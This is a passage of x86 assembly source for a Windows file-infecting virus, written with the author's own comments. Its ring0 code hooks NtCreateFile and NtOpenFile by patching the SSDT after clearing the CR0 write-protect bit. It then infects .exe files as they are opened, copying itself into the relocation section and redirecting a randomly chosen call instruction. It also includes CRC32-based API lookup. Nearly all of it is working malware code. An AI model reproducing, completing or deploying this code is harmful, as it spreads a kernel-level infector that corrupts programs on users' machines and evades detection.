;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
Exit:
mov eax,[ebp + NtKernel] ;Exit from virus code...
GezApi eax,SetCurrentDirectoryACRC,SCDNameLen
lea esi,[ebp + CurDir]
push esi
call eax ;we restore current directory.
callz FreeLibrarys ;free librarys loaded.
or ebp,ebp ;first generation exit, ExitProcess.
jnz gen2Exit
push 0
call ExitProcess
gen2Exit:
mov eax,[ebp + EntryPoint]
mov dword ptr [ebp + dirHook],eax
popfd
popad
push 12345678h
dirHook equ $-4
ret
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
SysAlreadyInfected:
lea esi,[ebp + win32kfuck]
push esi
mov eax,[ebp + NtKernel] ;deleting win32k.fuck if it would exist
GezApi eax,DeleteFileACRC,DFNameLen
call eax
jmpz Exit
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Entry Point Of Virus when is executed in ring0.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EPointSystem: ;Ring0 Code
;;;;;;;;;;;;;
push 00000000h ;This space in stack will be filled with the entry point
;address of win32k.sys
pushfd
pushad
;;;;;;;;;;;;;;;;;;;;;;;;
callz R0_Doff ;i calculate delta offset.
R0_Doff:
pop ebp
sub ebp,offset R0_Doff
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + EPointSystem] ;our target is to search image base of win32k.sys in memory.
xor ax,ax ;hardcoded would be 0A0000000h in my system.
add eax,1000h
SearchBaseImage:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchBaseImage
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + EntryPointWin32ksys] ;We have the old entry point and the image base
add ebx,eax ;so we have the entry point address. We put
mov [esp + cPushad + cPushfd],ebx ;that entry point after pushad and pushfd bytes
;;;;;;;;;;;;;;;;;;;;;;;; ;in stack for using ret instruction later and
;for jumping entry point of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[esp + cPushad + cPushfd + 4] ;address in stack of a zone of ntoskrnl(in function
xor ax,ax ;ExCreateCallback).With this address we will get
add eax,1000h ;ntoskrnl base addr
;eax -> a part of ntoskrnl
SearchNtoskrnl:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchNtoskrnl
;eax -> base of ntoskrnl
mov [ebp + Ntoskrnl],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;now we will get somethings that will be useful for hooking NtCreateFile...SSDT address,
;syscall number of NtCreateFile, ....
;There is a undocumented entry in the export table of ntoskrnl, KeServiceDescriptorTable,
;and this entry is the key for accessing the system service dispatch table where we must
;patch for hooking a service(NtCreateFile for example ;)
;KeServiceDescriptorTable points to a structure like this:
; {
; DWORD ServiceTableBase - pointer to system service dispatch table(SSDT)
; DWORD ServiceCounterTable - not important for us
; DWORD NumberOfServices - number of services in system service dispatch table
; DWORD ParamTableBase - pointer to system service parameter table(SSPT)
; }
;
;We want to get the number of the NtCreateFile service and then we search in this table
;and we patch the address of NtCreateFile rutine with a address of our code
;;;;;;;;;;;;;;;;;;;;;;;;
;eax = ntoskrnl base
GezApi eax,KeServiceDescriptorTableCRC,KSDTNameLen
mov [ebp + KeServiceDescriptorTable],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;ill get SSDT from that service descriptor table
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[eax]
mov [ebp + SSDT],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;now ill get from ntoskrnl the addr of NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezApi eax,NtCreateFileCRC,NCFNameLen
mov [ebp + NtCreateFileAddr],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;Ill get service ID from ZwCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezSyscall eax,ZwCreateFileCRC,ZCFNameLen
;;;;;;;;;;;;;;;;;;;;;;;;
;now ill search in the SSDT the address of the entry of NtCreateFile where we will hook
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + SSDT]
;ebx + eax*4 -> entry
shl eax,2
add ebx,eax
;ebx -> entry
mov [ebp + NtCreateFileEntryAddr],ebx
;;;;;;;;;;;;;;;;;;;;;;;;
;and with NtOpenFile same thing
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezApi eax,NtOpenFileCRC,NOFNameLen
mov [ebp + NtOpenFileAddr],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;Ill get service ID from ZwOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + Ntoskrnl]
GezSyscall eax,ZwOpenFileCRC,ZOFNameLen
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + SSDT]
;ebx + eax*4 -> entry
shl eax,2
add ebx,eax
;ebx -> entry
mov [ebp + NtOpenFileEntryAddr],ebx
;;;;;;;;;;;;;;;;;;;;;;;;
;We hook NtCreateFile and NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,cr0 ;we set write protect flag to 1, and in this
push eax ;supervision of writing readonly mem is disabled
or eax,00010000h ;We do this for writing SSDT coz is possible (under
mov cr0,eax ;XP is default) SSDT is read only.
;(Thx Ratter ;)
;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;Note in the next inst we get the service ID of NtCreateFile and NtOpenFile from Zws funcions
;of them. I got it searching NtCreateFile and NtOpenFile in ntoskrnl and scanning SSDT
;comparing with entrys and when is the same value that is the entry.Ratter said me the problem
;of this: NtOpenFile or NtCreateFile could be previosly hooked and with this method this
;will not work( Thx again Ratter :)
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + NtCreateFileEntryAddr]
lea eax,[ebp + NtCreateFileHookRutine]
mov [ebx],eax ;in this moment we HOOK NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,[ebp + NtOpenFileEntryAddr]
lea eax,[ebp + NtOpenFileHookRutine]
mov [ebx],eax ;in this moment we HOOK NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
pop eax ;we restore WP flag to original value
mov cr0,eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz GetApisRing0 ;ill get some apis for no calling all time GezApi
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz DeleteWin32ksy ;i must delete win32k.sy if still not deleted
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz PayloadRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
ReturnWin32ksys:
popad
popfd
ret ;previosly i moved entry point adress of win32k.sys at position in stack
;so this ret will fill eip with start point of win32k.sys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NtOpenFileHookRutine:
;;;;;;;;;;;;;;;;;;;;;
pushfd
pushad
;;;;;;;;;;;;;;;;;;;;;;;;
callz doff_hookOF ;delta offset
doff_hookOF:
pop ebp
sub ebp,offset doff_hookOF
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtOpenFileAddr]
mov [ebp + HookRealAddr],eax ;we put the jump to real code of NtOpenFile
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
jmpz GeneralCodeForInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;NTSTATUS NtOpenFile(
; OUT PHANDLE FileHandle,
; IN ACCESS_MASK DesiredAccess,
; IN POBJECT_ATTRIBUTES ObjectAttributes,
; OUT PIO_STATUS_BLOCK IoStatusBlock,
; IN ULONG ShareAccess,
; IN ULONG OpenOptions
; );
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
NtCreateFileHookRutine:
pushfd
pushad
;;;;;;;;;;;;;;;;;;;;;;;;
callz doff_hookCF ;delta offset
doff_hookCF:
pop ebp
sub ebp,offset doff_hookCF
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtCreateFileAddr]
mov [ebp + HookRealAddr],eax ;we put the jump to real code of NtCreateFile
;;;;;;;;;;;;;;;;;;;;;;;;
;NTSTATUS NtCreateFile(
; OUT PHANDLE FileHandle,
; IN ACCESS_MASK DesiredAccess,
; IN POBJECT_ATTRIBUTES ObjectAttributes,
; OUT PIO_STATUS_BLOCK IoStatusBlock,
; IN PLARGE_INTEGER AllocationSize OPTIONAL,
; IN ULONG FileAttributes,
; IN ULONG ShareAccess,
; IN ULONG CreateDisposition,
; IN ULONG CreateOptions,
; IN ULONG EaBuffer OPTIONAL,
; IN ULONG EaLength
; );
;
;this only for NtCreateFile:
;;;;;;;;;;;;;;;;;;;;;;;;
;i get some datas from parameters
mov eax,[esp + cPushad + cPushfd + 4 + 14h]
mov [ebp + AttributesFileRing0],eax ;i get the attributes of file
mov eax,[esp + cPushad + cPushfd + 4 + 1ch]
mov [ebp + CreateDispositionFileRing0],eax ;i get manner for opening the file
mov eax,[esp + cPushad + cPushfd + 4 + 20h]
mov [ebp + CreateOptionsFileRing0],eax ;i get some more flags relative
;;;;;;;;;;;;;;;;;;;;;;;; ;to manner of opening the file
;;;;;;;;;;;;;;;;;;;;;;;;
;I want a existing file non directory
test dword ptr [ebp + CreateDispositionFileRing0],FILE_OPEN
jz StopInfectionRing0
;test dword ptr [ebp + CreateOptionsFileRing0],FILE_NON_DIRECTORY_FILE
;jz StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;jmpz GeneralCodeForInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GeneralCodeForInfectionRing0:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz UnhookWhile ;ill unhook apis while hooking rutine coz for example
;;;;;;;;;;;;;;;;;;;;;;;; ;if we call ZwOpenFile we will go to a infinite loop
;OBJECT_ATTRIBUTES {
; ULONG Length;
; PUNICODE_STRING ObjectName;
; HANDLE RootDirectory;
; PSECURITY_DESCRIPTOR SecurityDescriptor;
; PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
; ULONG Attributes;
; }
;
;UNICODE_STRING {
; USHORT Length; ;len in bytes of Buffer
; USHORT MaximumLength;
; PWSTR Buffer;
; }
;note if RootDirectory parameter is null,ObjectName has a fully qualified file specification,
;path+name,but if RootDirectory is non null,then ObjectName has only the name of the object
;relative to RootDirectory directory.
;when we call NtOpenFile we must use both RootDirectory and ObjectName.
;;;;;;;;;;;;;;;;;;;;;;;;
;Ill get the file name of the file i want to infect
mov edi,[esp + cPushad + cPushfd + 4 + 8] ;edi -> ObjectAttributes
mov eax,[edi + 4] ;eax = RootDirectory
mov [ebp + RootDirectoryRing0],eax
mov esi,[edi + 8] ;esi -> unicode string of the name
mov eax,[esi]
mov dword ptr [ebp + FileNameRing0],eax
lea edi,[ebp + StringRing0] ;edi -> our buffer for unicode string of name
mov dword ptr [ebp + FileNameRing0 + 4],edi
movzx ecx,word ptr [esi] ;ecx = long of unicode string
mov esi,[esi + 4]
rep movsb ;i copy the buffer
;;;;;;;;;;;;;;;;;;;;;;;;
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv |quitar esto| vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
movzx ecx,word ptr [ebp + FileNameRing0]
mov eax,dword ptr [ebp + FileNameRing0 + 4]
add eax,ecx
dec eax
dec eax
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'x'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'.'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'z'
jne StopInfectionRing0
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |quitar esto| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;;;;;;;;;;;;;;;;;;;;;;;;
movzx ecx,word ptr [ebp + FileNameRing0] ;I test if file is a .exe file
mov eax,dword ptr [ebp + FileNameRing0 + 4]
add eax,ecx
dec eax
dec eax
or byte ptr [eax],20h
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
or byte ptr [eax],20h
cmp byte ptr [eax],'x'
jne StopInfectionRing0
dec eax
dec eax
or byte ptr [eax],20h
cmp byte ptr [eax],'e'
jne StopInfectionRing0
dec eax
dec eax
cmp byte ptr [eax],'.'
jne StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
callz MapFileRing0 ;map the file for infection ;)
or eax,eax
jz StopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,eax
;ebx = Base of Mapped File
cmp word ptr [ebx],'ZM'
jne CloseAndStopInfectionRing0
mov edi,[ebx + 3ch]
add edi,ebx
;edi -> PE
cmp word ptr [edi],'EP'
jne CloseAndStopInfectionRing0
cmp word ptr [edi + 8],'zs'
je CloseAndStopInfectionRing0 ;is it already infected?
mov ax,word ptr [edi + 16h]
test ax,00000002h ;yes IMAGE_FILE_EXECUTABLE_IMAGE
je CloseAndStopInfectionRing0
test ax,00001000h ;no IMAGE_FILE_SYSTEM
jne CloseAndStopInfectionRing0
test ax,00002000h ;no IMAGE_FILE_DLL
jne CloseAndStopInfectionRing0
mov ax,[edi + 5ch]
test ax,00000001h ;no IMAGE_SUBSYSTEM_NATIVE
jne CloseAndStopInfectionRing0
;ebx->MZ
;edi->PE
;;;;;;;;;;;;;;;;;;;;;;;;
;we will search EPoint of file
mov edx,[edi + 28h]
;edx = RVA epoint,we need the pointer to raw data
movzx ecx,word ptr [edi + 6]
mov eax,edi
add eax,0F8h-28h ;sections
inc ecx
GoToSectionEPointInfectionRing0:
dec ecx
or ecx,ecx
jz CloseAndStopInfectionRing0
add eax,28h
cmp dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress],edx
jnle GoToSectionEPointInfectionRing0
mov esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress]
add esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
cmp edx,esi
jnl GoToSectionEPointInfectionRing0
;eax->.text section header
mov dword ptr [ebp + textSecHeader],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;now we will search relocs section
mov edx,[edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress]
movzx ecx,word ptr [edi + 6]
mov eax,edi
add eax,0F8h-28h ;sections
inc ecx
GoToSectionRelocInfectionRing0:
dec ecx
or ecx,ecx
jz CloseAndStopInfectionRing0
add eax,28h
cmp dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress],edx
jnle GoToSectionRelocInfectionRing0
mov esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_VirtualAddress]
add esi,dword ptr [eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
cmp edx,esi
jnl GoToSectionRelocInfectionRing0
;eax->.reloc section header
mov dword ptr [ebp + relocSecHeader],eax
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;ebx->MZ
;edi->PE
mov [ebp + HostMZ],ebx
mov [ebp + HostPE],edi
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;Getting a offset for the virus
mov eax,[eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
push eax
call randRing0
;eax = rand value 0...(size of reloc section)/2
pop edx
sub edx,eax ;edx = size for vx
cmp edx,tamvirus
jb CloseAndStopInfectionRing0
mov edx,[ebp + relocSecHeader]
mov edx,[edx.IMAGE_SECTION_HEADER.SH_PointerToRawData]
add edx,eax
mov [ebp + OffsetVirus],edx ;we will put the virus in reloc section + rand value
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;Getting RVA virus
mov ebx,[ebp + relocSecHeader]
mov edx,[ebx.IMAGE_SECTION_HEADER.SH_PointerToRawData]
mov eax,[ebx.IMAGE_SECTION_HEADER.SH_VirtualAddress]
sub eax,edx
mov edx,[ebp + OffsetVirus]
add edx,eax
mov [ebp + RVAVirus],edx
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;Erasing RVA and size in data directory for relocs
mov edi,[ebp + HostPE]
mov dword ptr [edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress],00000000h
mov dword ptr [edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_Size],00000000h
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + textSecHeader]
mov edx,[eax.IMAGE_SECTION_HEADER.SH_PointerToRawData]
push edx
mov eax,[eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
add edx,eax
add edx,dword ptr [ebp + HostMZ]
mov [ebp + TextSecEnd],edx
call randRing0
pop edx
;edx = PointerToRawData Text Section
;eax = rand value 0...SizeOfRawData/2
add edx,eax
add edx,dword ptr [ebp + HostMZ]
;;;;;;;;;;;;;;;;;;;;;;;;
;Super's Theory:
;
; When u jump a random number of bytes in a buffer of code its possible u will
; jump to a zone between instruction. For example: E8 11 22 33 44 its possible
; in a random jump you will stay pointing 11 or 22 instead instruction opcode E8.
; but its possible redrive ur pointer to opcodes doing a route over the code
; getting instruction lengths and adding them to your pointer, 16 times at max.
; Then u will be in opcodes sure.
;edx = pointer
;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + tbl]
push eax
call disasm_init
pop eax;clean stack
RedrivePointer:
inc edx
mov eax,dword ptr [ebp + TextSecEnd]
sub eax,50
cmp eax,edx
jl CloseAndStopInfectionRing0
mov ecx,16
goodInsContinue:
push edx
lea eax,[ebp + tbl]
push eax
call disasm_main
pop esi
pop esi
add edx,eax
or eax,eax
jz RedrivePointer
mov eax,dword ptr [ebp + TextSecEnd]
sub eax,50
cmp eax,edx
jl CloseAndStopInfectionRing0
loop goodInsContinue
;;;;;;;;;;;;;;;;;;;;;;;;
;well,if all was as we want,we are pointing to a good opcode
;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx,edx
call SearchCall
or eax,eax
jz CloseAndStopInfectionRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;ebx -> E8 XX XX XX XX
;the VA of the call is ebx + 5 + (XX XX XX XX)
mov edx,[ebp + textSecHeader]
mov eax,[edx.IMAGE_SECTION_HEADER.SH_VirtualAddress]
sub eax,[edx.IMAGE_SECTION_HEADER.SH_PointerToRawData]
add eax,ebx
sub eax,[ebp + HostMZ]
;eax RVA of E8 XX XX XX XX
push eax
add eax,[ebx + 1]
add eax,5
;eax = RVA of call pointing addr
;we will put in EntryPoint variable the VA of the call. When ring3 part of virus returned
;to host it will jmp to the content of this variable.
mov edi,[ebp + HostPE]
add eax,[edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_ImageBase]
;eax=VA of call pointing addr
mov [ebp + EntryPoint],eax
pop eax
;eax RVA of E8 XX XX XX XX
mov edx,[ebp + RVAVirus]
add eax,5
sub edx,eax
;we patch the call for pointing our code
mov [ebx+1],edx
;if all well,the call is calling the virus,and the virus will pass the control where the
;call was calling before patching...EPO
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;the virus will be writed in the host,at offset = OffsetVirus
;we must search a call for patching with a call to virus
mov edx,[ebp + HostMZ] ;MZ
mov ebx,[ebp + HostPE] ;PE
mov edi,edx
add edi,[ebp + OffsetVirus]
lea esi,[ebp + svirus]
mov ecx,tamvirus
rep movsb
mov word ptr [ebx + 8],'zs'
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
CloseAndStopInfectionRing0: ;close and bye
callz CloseAllRing0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
StopInfectionRing0:
callz RehookAgain
popad
popfd
push 12345678h
HookRealAddr = dword ptr $ - 4
ret
;;;;;;;;;;;;;;;;;;;;;;;;
textSecHeader dd 0
relocSecHeader dd 0
relocRVA dd 0
OffsetVirus dd 0
HostMZ dd 0
HostPE dd 0
RVAVirus dd 0
TextSecEnd dd 0
;;;;;;;;;;;;;;;;;;;;;;;;
;randRing0: this funcion will generate a ramdom number gived a size
;parameters:
; eax = size The number will be generated 0...size
randRing0:
push eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,KeQueryTickCountCRC,KQTCNameLen
lea ebx,[ebp + randvalue]
push ebx
call eax
mov edx,[ebp + randvalue]
pop eax
;eax = size
;edx = TickCount
and edx,000000FFh
mov ecx,edx
shl ecx,8
or edx,ecx
mov ecx,edx
shl ecx,16
or edx,ecx
and edx,eax
cmp edx,eax
jg randRing0
mov eax,edx
shr eax,1
ret
randvalue dd 0
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;
;randRing3: this funcion will generate a ramdom number gived a size
;parameters:
; eax = size The number will be generated 0...size
randRing3:
push eax
mov eax,[ebp + NtKernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov edx,eax
pop eax
;eax = size
;edx = TickCount
and edx,000000FFh
mov ecx,edx
shl ecx,8
or edx,ecx
mov ecx,edx
shl ecx,16
or edx,ecx
and edx,eax
cmp edx,eax
jg randRing3
mov eax,edx
shr eax,1
ret
;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;FUNCTIONS;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;SECOND VERSION IMPROVEMENT: we will add zombie length disassembler engine for getting
;a good EPO infection :D (thx z0mbie...we didnt say u if we could to use your lde but
;we thought this is a good purpose so you would be agree ;)
include lde32bin.inc ; LDE32 code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;SearchCall: this function will search a call instruction given a buffer with code.
;in:ebx->buffer with code
;
;The function will return eax = 0 if error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SearchCall:
lea esi,[ebp + tbl]
push esi
call disasm_init
pop esi;clean stack
xor eax,eax
LoopSearchCall:
inc eax
or eax,eax
jz FoundCall
cmp byte ptr [ebx],0E8h
je FoundCall
push ebx
lea esi,[ebp + tbl]
push esi
call disasm_main
pop esi
pop esi
add ebx,eax
jmp LoopSearchCall
FoundCall:
ret
tbl db 2048 dup (?)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take
;his rutine but i dont know him...in addition i have seen this rutine in other viruses
;so i think he doesnt go angry if i use it :)
;
;in:esi -> start of buffer
; edi = size of buffer
;out:
; eax = cksum
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetApi gets a api address from its crc.
;in:
; eax -> base of dll
; edx = the crc32 of api to search.
; ebx = api name len.
;out:
; eax -> function
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApi:
;eax -> base of dll
;ebx = len api name
;edx = crc of api name
push ebx ecx edx esi edi
push eax
mov eax,[eax + 3ch]
add eax,dword ptr [esp]
;eax -> PE
mov eax,[eax + 78h]
add eax,dword ptr [esp]
;eax -> Export table
push eax
push ebx
mov ebx,[eax + 20h]
add ebx,dword ptr [esp + 8]
;ebx -> Name of functions
push ebx
sub ebx,4
SearchApiByCRC:
add ebx,4
mov esi,[ebx]
add esi,dword ptr [esp + 12]
CalcLenString
;ecx = length api.name
mov edi,[esp + 4]
cmp edi,ecx
jne SearchApiByCRC
mov edi,ecx
push ebx
push edx
callz CRC32
pop edx
pop ebx
cmp eax,edx
jne SearchApiByCRC
pop edi
;edi -> name of functions
;ebx -> name of functions + (index of our api * 4)
sub ebx,edi
mov eax,ebx
xor edx,edx
mov ebx,4
div ebx
;eax = index of our api
pop ebx
pop ebx
;ebx -> export
mov ecx,[ebx + 24h]
add ecx,dword ptr [esp]
;ecx -> name ordinals
rol eax,1
add ecx,eax
mov ecx,[ecx]
shr ecx,10h
dec ecx
;ecx = ordinal
mov eax,[ebx + 1ch]
add eax,dword ptr [esp]
;eax -> address of functions
rol ecx,2
add eax,ecx
mov eax,[eax]
add eax,dword ptr [esp]
;eax = address of function searched
pop ebx
pop edi edi edx ecx ebx
ret
